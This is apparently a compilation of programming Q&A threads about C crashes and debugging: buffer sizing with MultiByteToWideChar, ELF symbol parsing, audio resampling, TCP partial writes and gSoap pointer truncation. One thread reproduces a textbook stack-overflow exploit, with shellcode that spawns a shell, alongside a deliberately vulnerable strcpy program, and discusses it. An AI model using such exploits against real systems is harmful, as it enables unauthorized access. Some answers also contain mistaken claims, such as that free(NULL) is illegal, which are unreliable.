int gb2Utf8(const char* source, int sourceLen, void *target, int targetLen)
{
int result = 0;
int bufLen = strlen(source) * 2;
wchar_t *buffer = (wchar_t *)malloc(bufLen);
if (!buffer)
{
result = 1;
goto RETURN;
}
//GB18030 code page: 54936
int m2wResult = MultiByteToWideChar(54936, MB_ERR_INVALID_CHARS, source, -1, buffer, bufLen);
if (!m2wResult)
{
result = 2;
goto RETURN;
}
int w2mResult = WideCharToMultiByte(CP_UTF8, WC_ERR_INVALID_CHARS, buffer, -1, (char *)target, targetLen, NULL, NULL);
if (!w2mResult)
{
result = 3;
goto RETURN;
}
RETURN:
free(buffer);
return result;
}
When program runs to free(buffer), it will crash, but I don't know why.
If modify bufLen to a constant value, or remove MultiByteToWideChar function, it won't crash, I also don't know why.
This is the call stack when crash:
msvcr100d.dll!_free_dbg_nolock(void * pUserData, int nBlockUse) Line 1376 + 0x3b bytes C++
msvcr100d.dll!_free_dbg(void * pUserData, int nBlockUse) Line 1265 + 0xd bytes C++
msvcr100d.dll!free(void * pUserData) Line 49 + 0xb bytes C++
New.exe!gb2Utf8(const char * source, int sourceLen, void * target, int targetLen) Line 156 + 0xc bytes C++
New.exe!wWinMain(HINSTANCE__ * hInstance, HINSTANCE__ * hPrevInstance, wchar_t * lpCmdLine, int nCmdShow) Line 29 + 0x11 bytes C++
New.exe!__tmainCRTStartup() Line 547 + 0x2c bytes C
New.exe!wWinMainCRTStartup() Line 371 C
kernel32.dll!7509339a()
[Frames below may be incorrect and/or missing, no symbols loaded for kernel32.dll]
ntdll.dll!77979ef2()
ntdll.dll!77979ec5()
Perhaps for the buffer, you need to allocate memory for the NULL terminator too:
int bufLen = strlen(source) * 2 + 2;
You need not assume the buffer size your self, when you pass 0 as the last parameter to the function MultiByteToWideChar it returns the buffer size including the terminal null character. Then you can create buffer with the returned size and use it.
try this
int wchars_num = MultiByteToWideChar( CP_UTF8 , 0 , source , -1, NULL , 0 );
wchar_t* buffer = (wchar_t *)malloc(wchars_num);
MultiByteToWideChar( CP_UTF8 , 0 , source , -1, buffer , wchars_num );
// do whatever with buffer
free(buffer) ;
The last parameter for MultiByteToWideChar() is the number of characters in the widechar buffer and not the number of bytes. You pass the number of bytes, the function probably writes over the actual buffer and free() checks for that when compiled in debug mode.
And as Jeeva mentioned, the proper way to call this function is by calling it once with NULL output buffer, allocate the buffer with the requested size and then call it again.
First, let's look at :
if (!buffer)
{
result = 1;
goto RETURN;
}
if malloc function failed, it returned NULL, and then buffer was assigned the value NULL, then the program turned to label RETURN due to goto RETURN , then free function was called and free(buffer) means to free(NULL), which is an illegal behavior.
Second, by declaring int bufLen = strlen(source) * 2;, you've assumed that bufLen will always be positive, however, it will be 0 if strlen(source)==0. malloc(0) is a undefined behavior in ANSI-C, so different platform might return different result.
Moreover, you'd better look up the usage of function MultiByteToWideChar carefully. Here is the link in MSDN: MultiByteToWideChar function
Related
From "The Shellcoder's Handbook", victim.c is as follows
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
Its exploit, attack.c is as follows
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
ptr = buff; assigns buff's garbage value to ptr(buff is not initialized). The subsequent line, addr_ptr = (long *) ptr;, assigns ptr's value (buff's garbage value) to addr_ptr. The author's intent on these lines are not clear to me. addr_ptr is supposed to contain the address to which the program jump, preferrably the NOP sled, when it retrieves the saved EIP. However, addr_ptr contains garbage value instead.
I believe buff should be dynamically allocated, using malloc first.
I know "The Shellcoder's Handbook" has many errors, but it is one of the few books that talks about Software exploitation.
On line 26
addr = find_start() - offset;
addr is set to the target return address, so it's not really garbage.
From my understanding what the authors do is to first fill the whole buffer with addr repeatedly, so that this serves both as garbage data and as return address to overwrite the stored EIP. Additionally, doing this allows them to not care about the right offset to place the return address, provided the buffer is well DWORD aligned on the stack.
Then they overwrite the beginning of the "garbage data part" of this buffer with BUF= followed by the shellcode. This works because BUF= is of length 4, so it does not break the DWORD alignment.
Yes buff should be allocated. Note that if you check the nopattack.c in the following pages where they add the NOP sled to the exploit, then you see that it is indeed allocated on line 28:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
Also, if you compare attack.c and nopattack.c, the codes have quite some differences (allocation, variable and function names, #define constants capitalized...) which is surprising when the latter code is supposed to be just one iteration after the former. This suggests a refactoring may have been made at some point when they wrote the book (or the second edition), and the error could come from this.
Hate to ask people to help me debug my code but really stuck on this. I have a simple code snippet for going through the symbols in symtab and then printing them to the console. Apparently, I have an null pointer in the calls to printf and strcmp (resulting in segfault), but I can't seem to figure out why.
Here is the code snippet:
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <elf.h>
#include <fcntl.h>
#ifdef DEBUG
#define PRINTDEBUG(x) printf x //variable number of arguments
#else
#define PRINTDEBUG(x) do{} while(0)
#endif
uint32_t main(int argc, char** argv){
char* filename = argv[1];
char* sym_name = argv[2];
int fd = open(filename, O_RDONLY);
struct stat st;
stat(fd, &st);
char mem[st.st_size];
read(fd, mem, st.st_size);
Elf32_Ehdr* ehdr;
Elf32_Shdr* shdr; //generic entry for enumerating sections
Elf32_Shdr strtab; //holds string in symtab
Elf32_Shdr symtab;
char* sh_strtab; //hold sections names
Elf32_Sym* sym;
ehdr = (Elf32_Ehdr *)mem;
shdr = (Elf32_Shdr* )(mem + ehdr->e_shoff);
PRINTDEBUG(("number of section headers: %d\n", ehdr->e_shnum)); //need double brackets for variable #of arguments
sh_strtab = (char *)(mem + (shdr[ehdr->e_shstrndx].sh_offset));
//find address of symtab and strtab
for(int i = 0; i < ehdr->e_shnum; i++){
if(shdr[i].sh_size){
printf("%s\n", &sh_strtab[shdr[i].sh_name]);
if(strcmp(&sh_strtab[shdr[i].sh_name], ".strtab") == 0)
strtab = shdr[i];
if(strcmp(&sh_strtab[shdr[i].sh_name], ".symtab") == 0)
symtab = shdr[i];
}
}
PRINTDEBUG(("symtab offset %x\n", symtab.sh_offset));
PRINTDEBUG(("strtab offset %x\n", strtab.sh_offset));
char* symtab_str = (char *)(mem + strtab.sh_offset);
sym = (Elf32_Sym* )(mem + symtab.sh_offset);
printf("Symbol names: \n");
for(int i = 0; i < (symtab.sh_size / symtab.sh_entsize); i++, sym++){
printf("%x\n",&symtab_str[sym->st_name]);
if(strcmp(&symtab_str[sym->st_name], sym_name) ==0)
printf("not crahsed\n");
//TODO: resolve reloc'd syms
}
}
The null pointer occurs at &symtab_str[sym->st_name]. Weird thing is, I've looked at the assembly with the debugger and it shows &symtab_str[sym->st_name] pointing to the correct value, i.e. the first string in .strtab.
EDIT: Posted the code snippet that should trigger the segfault. Compile with "-m32" flag for gcc. Provide the pathname for a 32bit Elf file as the first run parameter. i.e.
./symtab_parse test_file
I already got this working as I originally intended. However, I am not sure about the cause of the segfault, and as pointed out by EmployedRussian, my original answer was not the root cause of the problem. Would like to really get to the bottom of this mystery, and hopefully learn something from it.
As you can see, the address stored in eax points to the first string in .strtab, so why am I getting a null pointer when passing this to strcmp?
The code snippet you showed appears to be correct, and if eax is 0xffd6a030 at the call to strcmp, then by definition it is not NULL.
Your (unsupported by evidence) assertion that it is NULL is what appears to be wrong (in other words, you are probably mis-interpreting something, and you didn't show that something).
According to this section from the ELF specs:
String table sections hold null-terminated character sequences,
commonly called strings. The object uses these strings to represent
symbol and section names. One references a string as an index into
the string table section. The first byte, which is index zero, is
defined to hold a null character.
This means that symtab_str[0] points to a null character, which when dereferenced in strcmp, resulted in a Segfault. Modifying the code to check for the null string before performing the strcmp fixed the problem.
playmp3() using libmpg123
if (isPaused==0 && mpg123_read(mh, buffer, buffer_size, &done) == MPG123_OK)
{
char * resBuffer=&buffer[0]; //22100=0,5s
buffer = resample(resBuffer,22100,22100);
if((ao_play(dev, (char*)buffer, done)==0)){
return 1;
}
resample() Using avcodec from ffmpeg
#define LENGTH_MS 500 // how many milliseconds of speech to store
#define RATE 44100 // the sampling rate (input)
#define FORMAT PA_SAMPLE_S16NE // sample size: 8 or 16 bits
#define CHANNELS 2 // 1 = mono 2 = stereo
struct AVResampleContext* audio_cntx = 0;
char * resample(char in_buffer[(LENGTH_MS*RATE*16*CHANNELS)/8000],int out_rate,int nsamples)
{
char out_buffer[ sizeof( in_buffer ) * 4];
audio_cntx = av_resample_init( out_rate, //out rate
RATE, //in rate
16, //filter length
10, //phase count
0, //linear FIR filter
1.0 ); //cutoff frequency
assert( audio_cntx && "Failed to create resampling context!");
int samples_consumed;
int samples_output = av_resample( audio_cntx, //resample context
(short*)out_buffer, //buffout
(short*)in_buffer, //buffin
&samples_consumed, //&consumed
nsamples, //nb_samples
sizeof(out_buffer)/2,//lenout
0);//is_last
assert( samples_output > 0 && "Error calling av_resample()!" );
av_resample_close( audio_cntx );
//*resample = malloc(sizeof(out_buffer));
return &out_buffer[0];
}
When i run this code i get 3393 Segmentation fault (core dump created). Why?
For example, the use of pointers is correct?
and 22100 are the samples that are contained in 0.5 seconds of the song?
You have two issues that I can see right off the bat. These are noob questions, but everyone does this at least once, so don't worry!
Check that sizeof( in_buffer ) is giving you the size of the buffer you expect ((LENGTH_MS*RATE*16*CHANNELS)/8000) or the size of the pointer(which would be 2, 4 or 8 depending on your system.) Using sizeof on an array on the stack gives you its total size, because there is no pointer only a buffer. Sizeof an array on the parameter list gives you the size of the pointer even if you use [] on the param list, because there only is a pointer.
Also, returning a stack based buffer is undefined (i.e. will crash), since the stack gets reused on the next function call:
return &out_buffer[0];
Don't do that. Pass in the out buffer already allocated by the caller.
So, I have the following code which sends out my packet on TCP. Its working pretty well. I just have to test partial writes. So I write 1 byte at time either by setting sendbuf to 1 or do a hack as shown below. When i took a tcpdump, it was all incorrect except the first byte.. what am i doing wrong?
int tmi_transmit_packet(struct tmi_msg_pdu *tmi_pkt, int len, int *written_len)
{
int bytes;
// This works
bytes = write(g_tmi_mgr->tmi_conn_fd, (void*) tmi_pkt, len);
// This doesn't:
// bytes = write(g_tmi_mgr->tmi_conn_fd, (void*) tmi_pkt, 1);
if (bytes < 0) {
if (errno == EAGAIN) {
return (TMI_SOCK_FULL);
}
return (TMI_WRITE_FAILED);
} else if (bytes < len) {
*written_len += bytes;
tmi_pkt += bytes;
return (tmi_transmit_packet(tmi_pkt, len - bytes, written_len));
} else {
*written_len += len;
}
return TMI_SUCCESS;
}
This line
tmi_pkt += bytes;
most propably does not do what you expect.
It does increment tmi_pkt by sizeof(*tmp_pkt) * bytes and not only by bytes. For a nice explanation on pointer arithmetics you might like to click here and have a look at binky.
To get around this you might mod you code as follows:
...
else if (bytes < len) {
void * pv = ((char *) tmp_pkt) + bytes;
*written_len += bytes;
return (tmi_transmit_packet(pv, len - bytes, written_len));
}
...
Anyhow this somehow smells dirty as the data pointed to by the pointer passed into the write function does not necessarly need to correspond to it's type.
So a cleaner solution would be to not used struct tmi_msg_pdu *tmi_pkt but void * or char * as the function parameter declaration.
Although quiet extravagant the use of recursive calls here is not necessary nor recommended. For much data and/or a slow transmission it may run out of stack memory. A simple loop would do also. The latter has the advantage that you could use a temporary pointer to the buffer to be written and could stick to a typed interface.
I have a routine calling gSoap API function soap_malloc. But the program gives me a segmentation fault whenever I try to access the memory allocated by soap_malloc. When I use gdb to debug it. I find that inside soap_malloc, return value stored in register %rax is 0x7fffec0018f0. But on return, %rax changed to 0xffffffffec0018f0. Only the lower 32-bit was retained, the higher 32-bit all changed to 1. And that lead to accessing an address which is quite high, therefore caused the routine stopped. Thanks for you all to give me any ideas on how can this be happening. I'm running my multi-thread program in Ubuntu12.04 x86-64.
This is how I call it:
void *temp = soap_malloc(soap, 96);
And this is the soap_malloc implementation(only that else part is executed, and macro SOAP_MALLOC is just passing the second argument to malloc, SOAP_CANARY is constant 0xC0DE):
#ifndef SOAP_MALLOC /* use libc malloc */
# define SOAP_MALLOC(soap, size) malloc(size)
#endif
#ifndef SOAP_CANARY
# define SOAP_CANARY (0xC0DE)
#endif
void* soap_malloc(struct soap *soap, size_t n)
{ register char *p;
if (!n)
return (void*)SOAP_NON_NULL;
if (!soap)
return SOAP_MALLOC(soap, n);
if (soap->fmalloc)
p = (char*)soap->fmalloc(soap, n);
else
{ n += sizeof(short);
n += (-(long)n) & (sizeof(void*)-1); /* align at 4-, 8- or 16-byte boundary */
if (!(p = (char*)SOAP_MALLOC(soap, n + sizeof(void*) + sizeof(size_t))))
{ soap->error = SOAP_EOM;
return NULL;
}
/* set the canary to detect corruption */
*(unsigned short*)(p + n - sizeof(unsigned short)) = (unsigned short)SOAP_CANARY;
/* keep chain of alloced cells for destruction */
*(void**)(p + n) = soap->alist;
*(size_t*)(p + n + sizeof(void*)) = n;
soap->alist = p + n;
}
soap->alloced = 1;
return p;
}
This is the definition of SOAP_NON_NULL:
static const char soap_padding[4] = "\0\0\0";
#define SOAP_NON_NULL (soap_padding)
Updates(2013-03-12)
I explicitly declared soap_malloc as returning void * and the problem solved. Previously, the returned value is truncated to int and the sign bit 1 was extended when assigning the result to void *temp.
Does the calling code have a proper prototype for the soap_malloc() function in scope?
It seems the void * is being converted to int, i.e. the default return type. This happens if the function hasn't been properly declared.